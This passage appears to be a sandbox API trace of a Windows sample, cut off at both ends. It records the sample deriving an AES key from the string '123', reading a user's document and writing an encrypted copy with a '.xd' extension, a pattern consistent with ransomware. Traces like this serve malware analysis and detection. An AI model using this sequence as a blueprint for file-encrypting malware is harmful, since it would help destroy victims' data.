out: lpMsg=0x130ec34) returned 0 [0070.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.169] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.169] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.170] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.170] CryptHashData (hHash=0x164c330, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.170] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.170] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.170] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.170] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.171] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.171] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0070.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.171] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.171] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.172] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.172] CryptDestroyHash (hHash=0x164c330) returned 1 [0070.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.172] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dhtjdy.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.172] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.172] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.173] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.173] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dhtjdy.ots.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.176] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.176] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xef12, lpOverlapped=0x0) returned 1 [0070.178] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.181] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.181] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.181] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.181] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.182] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.197] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.197] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.197] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.198] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.198] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.198] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.198] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.198] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.198] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.198] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.198] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.208] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.208] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.208] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.208] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.208] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.208] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.209] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.210] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.210] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xef12, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xef20) returned 1 [0070.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.210] CharLowerBuffW (in: lpsz="byte[61217]", cchLength=0xb | out: lpsz="byte[61217]") returned 0xb [0070.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.212] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.212] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ae0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.212] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.212] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17efa40*, pdwDataLen=0x130e618*=0xef12, dwBufLen=0xef20 | out: pbData=0x17efa40*, pdwDataLen=0x130e618*=0xef20) returned 1 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.213] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.213] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.214] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.219] WriteFile (in: hFile=0x3bc, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xef20, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xef20, lpOverlapped=0x0) returned 1 [0070.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.220] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.221] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: 